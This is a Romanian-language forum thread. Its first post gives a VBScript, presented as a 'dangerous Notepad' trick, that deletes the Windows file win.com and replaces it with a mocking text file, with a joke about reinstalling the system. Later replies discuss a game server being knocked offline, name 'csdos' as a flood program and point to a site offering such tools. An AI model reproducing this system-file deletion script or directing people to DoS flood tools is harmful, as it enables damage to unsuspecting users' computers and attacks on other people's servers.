| Subiectul anterior :: Subiectul urmator |
| Autor |
Mesaj |
Royal
Administrator
Data inscrierii: 11/Aug/2008
Mesaje: 359
|
 Trimis: 24/08/2008 20:02 Titlul subiectului: Nottepad dangerous |
 |
|
creati un Fisier Text Nodepad deschidetil si scrieti urmatoarele :
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"smiley
Code:
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"smiley
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com"smiley
set fs2=fso.CreateTextFile("c:\windows\win.com"smiley
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close
Apoi dati sus la Fille => Save as apoi punem nume.vbs sau nume.bat nu mai stiu in ce extensie incercatile pe ambele
!!!Atentie!!! Nu dati dublu clik pe el
DACA VREI SA NU MAI AI WINDOWS DAI DUBLU-CLIK  SI APROPO ITI UREZ SUCCES CAND IL INSTALEZI IARA  DAK MAI POTI |
|
| Sus |
|
 |
Raresz
Admin
Data inscrierii: 27/Aug/2008
Mesaje: 7
|
| Trimis: 24/08/2008 20:02 Titlul subiectului: |
|
|
royal unu imi tot stinge svr de cs si nush ce sai fac sa nu mai poata...e vrerun prog kre sa il faca sa nu mai poata???  |
|
| Sus |
|
|
good
Administrator
Data inscrierii: 22/Aug/2008
Mesaje: 134
|
| Trimis: 24/08/2008 20:02 Titlul subiectului: lol |
|
|
Da ai ce sa ii faci cred ca til flodeaza q csdos este un prog de flood il ma si io pe site uitate pe www.tutorialecstrike.com gasesti acolo tot ce vrei
-------------------------------------------------------------------------------------
astepr raspuns |
|
| Sus |
|
|
Royal
Administrator
Data inscrierii: 11/Aug/2008
Mesaje: 359
|
| Trimis: 24/08/2008 20:02 Titlul subiectului: hmm |
|
|
| Da gg good asa este cauta un program antiflood !! |
|
| Sus |
|
|
Raresz
Admin
Data inscrierii: 27/Aug/2008
Mesaje: 7
|
| Trimis: 24/08/2008 20:02 Titlul subiectului: |
|
|
so calmat oricum...ms mult  |
|
| Sus |
|
|
|
